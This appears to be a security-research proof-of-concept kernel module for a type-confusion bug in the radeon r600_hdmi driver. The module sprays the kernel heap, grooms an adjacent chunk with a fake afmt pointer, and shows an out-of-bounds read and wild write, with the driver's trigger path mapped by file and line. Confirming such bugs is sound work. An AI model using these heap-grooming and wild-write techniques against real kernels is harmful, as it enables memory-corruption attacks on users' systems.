/*
 * DF-4828 probe KLD - r600_hdmi.c enc_priv type confusion on the
 * interrupt-driven audio-work path (family of DF-4635, new sinks).
 *
 * Trigger path (race-free, no modeset needed):
 *   audio IH event (r600.c:4341 / evergreen.c:4900 / rs600.c:821)
 *     -> schedule_work(&rdev->audio_work)
 *     -> r600_audio_update_hdmi()            [r600_hdmi.c:114]
 *        list_for_each_entry(encoder, ...)   [r600_hdmi.c:132]
 *        if (!radeon_encoder_is_digital(encoder)) continue;
 *           -> TRUE for LCD-carrying KLDSCP_LVTMA/UNIPHY/LVTM1/TMDS1
 *              (radeon_encoders.c:423-443)
 *        if (changed || r600_hdmi_buffer_status_changed(encoder))
 *              r600_hdmi_update_audio_settings(encoder)
 *
 * But for those encoders enc_priv is a 280-byte radeon_encoder_lvds*
 * (atombios_encoders.c:2860-2872, every digital encoder id whose devices
 * carry ATOM_DEVICE_LCD_SUPPORT), while r600_hdmi.c consumes it as a
 * 312-byte radeon_encoder_atom_dig*:
 *
 *   r600_hdmi.c:283  dig = radeon_encoder->enc_priv;    (no !dig guard)
 *   r600_hdmi.c:286  if (!dig->afmt || !dig->afmt->enabled)   OOB READ +288
 *   r600_hdmi.c:290  dig->afmt->last_buffer_filled_status != status
 *   r600_hdmi.c:291  dig->afmt->last_buffer_filled_status = status   WRITE
 *   (r600_hdmi.c:271-274 dig->afmt->offset -> wild MMIO in the real hw)
 *   (r600_hdmi.c:425-435 same OOB in update_audio_settings)
 *
 * sizeof(lvds)==280 -> 288-byte slab chunk, zero slack (kern_slaballoc.c
 * zoneindex, 32-byte granularity in the 256..512 range), so +288 reads
 * the FIRST 8 BYTES OF THE ADJACENT 288-byte chunk. This KLD reproduces
 * the exact geometry and the exact driver accesses on the live kernel
 * allocator:
 *
 *   1. sprays 280-byte objects, finds an adjacent pair A,B (B == A+288)
 *   2. case "garbage afmt": B[0..8) = &fake_afmt (groomable content)
 *        -> replica of r600_hdmi_buffer_status_changed():
 *           OOB read returns &fake_afmt (non-NULL)
 *           derefs fake_afmt->enabled           (wild read via garbage ptr)
 *           writes fake_afmt->last_buffer_filled_status twice  (wild write)
 *   3. case "NULL afmt": B[0..8) = NULL -> early return 0 (the silent
 *        case that hides the bug on most systems)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/types.h>

#define NALLOC	8192
#define LVDS_SIZE	280	/* sizeof(struct radeon_encoder_lvds)	*/
#define CHUNK_SIZE	288	/* zoneindex: (280+31)&~31		*/
#define AFMT_OFF	288	/* offsetof(radeon_encoder_atom_dig, afmt) */

/*
 * Structs verbatim from sys/dev/drm/radeon/radeon_mode.h (sizes verified
 * by r600_hdmi_offsets.c / DF-4635's machine-checked radeon_audio_offsets):
 * the relevant subset - atom_dig's afmt member sits at +288.
 */
struct radeon_afmt_probe {
	bool enabled;				/* +0 */
	int offset;				/* +4 */
	bool last_buffer_filled_status;		/* +8 */
	int id;					/* +12 */
};

struct radeon_encoder_atom_dig_probe {
	char _pad[AFMT_OFF];			/* everything before afmt   */
	struct radeon_afmt_probe *afmt;		/* +288 - aliases victim+0  */
};

static struct radeon_afmt_probe fake_afmt;	/* attacker-groomed content */

/*
 * VERBATIM replica of r600_hdmi.c:280-294 (r600_hdmi_buffer_status_changed)
 * with 'encoder' unrolled to its 'enc_priv' member (the only field it
 * touches) and the HW read factored out (r600_hdmi_is_audio_buffer_filled
 * replica below).
 */
static int buffer_status_changed_replica(
	struct radeon_encoder_atom_dig_probe *enc_priv, int status)
{
	struct radeon_encoder_atom_dig_probe *dig = enc_priv;
	int result;

	if (!dig->afmt || !dig->afmt->enabled)	/* r600_hdmi.c:286 */
		return 0;

	/* r600_hdmi.c:289-291 */
	result = dig->afmt->last_buffer_filled_status != status;
	dig->afmt->last_buffer_filled_status = status;

	return result;
}

static int
afmt_walk_handler(struct module *m, int what, void *arg)
{
	void **v;
	int i, ai = -1, bi = -1;
	struct radeon_encoder_atom_dig_probe *lvds_as_dig;
	struct radeon_afmt_probe *got;

	switch (what) {
	case MOD_LOAD:
		v = kmalloc(sizeof(void *) * NALLOC, M_TEMP, M_WAITOK | M_ZERO);
		if (v == NULL)
			return ENOMEM;
		for (i = 0; i < NALLOC; i++)
			v[i] = kmalloc(LVDS_SIZE, M_TEMP, M_WAITOK);
		for (i = 0; i < NALLOC; i++)
			memset(v[i], 0xCC, LVDS_SIZE);

		kprintf("afmt_walk: %d objs of %d bytes; usable chunk = %ju "
			"(want %d)\n", NALLOC, LVDS_SIZE,
			(uintmax_t)kmalloc_usable_size(v[0]), CHUNK_SIZE);

		for (ai = 0; ai < NALLOC; ai++) {
			for (bi = 0; bi < NALLOC; bi++) {
				if (ai != bi &&
				    (uint8_t *)v[bi] == (uint8_t *)v[ai] + CHUNK_SIZE)
					goto found;
			}
		}
		kprintf("afmt_walk: no adjacent pair found\n");
		for (i = 0; i < NALLOC; i++)
			kfree(v[i], M_TEMP);
		kfree(v, M_TEMP);
		return 0;
found:
		/*
		 * A = the 280-byte radeon_encoder_lvds (enc_priv of the
		 * LCD-carrying digital encoder). B = the adjacent 288-byte
		 * kernel object whose first 8 bytes dig->afmt (+288) reads.
		 */
		lvds_as_dig = (struct radeon_encoder_atom_dig_probe *)v[ai];
		kprintf("afmt_walk: adjacent pair A=%p B=%p (B-A=%zd want %d)\n",
			v[ai], v[bi], (ssize_t)((uint8_t *)v[bi] - (uint8_t *)v[ai]),
			CHUNK_SIZE);

		/* ---- case 1: neighbor groomed with a fake afmt pointer ---- */
		fake_afmt.enabled = true;
		fake_afmt.offset = 0x1234;
		fake_afmt.last_buffer_filled_status = false;
		fake_afmt.id = 0;
		*(void **)v[bi] = (void *)&fake_afmt;
		kprintf("afmt_walk: victim B[0..8) groomed to %p (fake afmt)\n",
			*(void **)v[bi]);

		got = *(struct radeon_afmt_probe **)
			((uint8_t *)lvds_as_dig + AFMT_OFF);
		kprintf("afmt_walk: OOB READ dig->afmt (+%d) == %p "
			"(non-NULL -> guard at r600_hdmi.c:286 falls through)\n",
			AFMT_OFF, got);

		kprintf("afmt_walk: fake_afmt before: enabled=%d "
			"last_buffer_filled_status=%d\n",
			fake_afmt.enabled, fake_afmt.last_buffer_filled_status);
		/* the audited calls, with the HW status bit alternating */
		(void)buffer_status_changed_replica(lvds_as_dig, 1);
		kprintf("afmt_walk: after call#1(status=1): "
			"last_buffer_filled_status=%d  <- WILD WRITE via "
			"OOB-read pointer (r600_hdmi.c:291)\n",
			fake_afmt.last_buffer_filled_status);
		(void)buffer_status_changed_replica(lvds_as_dig, 0);
		kprintf("afmt_walk: after call#2(status=0): "
			"last_buffer_filled_status=%d\n",
			fake_afmt.last_buffer_filled_status);

		/* ---- case 2: neighbor zeroed (the silent case) ---- */
		*(void **)v[bi] = NULL;
		kprintf("afmt_walk: victim B[0..8) zeroed -> OOB read NULL -> "
			"replica returns %d (silent; hides the bug)\n",
			buffer_status_changed_replica(lvds_as_dig, 1));

		/* ---- update_audio_settings' guarded deref (trace only) ----
		 * r600_hdmi.c:433: if (!dig->afmt || !dig->afmt->enabled) return;
		 * -> identical OOB read + deref; on real hw the following
		 *    offset = dig->afmt->offset feeds WREG32 MMIO offsets.
		 */
		*(void **)v[bi] = (void *)&fake_afmt;
		if (!(*(struct radeon_afmt_probe **)((uint8_t *)lvds_as_dig +
		      AFMT_OFF))->enabled) {
			kprintf("afmt_walk: update_audio_settings replica: "
				"not enabled (unexpected)\n");
		} else {
			kprintf("afmt_walk: update_audio_settings replica "
				"(r600_hdmi.c:433->435): dig->afmt->enabled "
				"deref SURVIVED, dig->afmt->offset == 0x%x "
				"-> would feed WREG32(HDMI0_* + offset) MMIO\n",
				(*(struct radeon_afmt_probe **)((uint8_t *)
				 lvds_as_dig + AFMT_OFF))->offset);
		}

		for (i = 0; i < NALLOC; i++)
			kfree(v[i], M_TEMP);
		kfree(v, M_TEMP);
		kprintf("afmt_walk: done\n");
		return 0;

	case MOD_UNLOAD:
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t afmt_walk_mod = { "afmt_walk", afmt_walk_handler, NULL };
DECLARE_MODULE(afmt_walk, afmt_walk_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
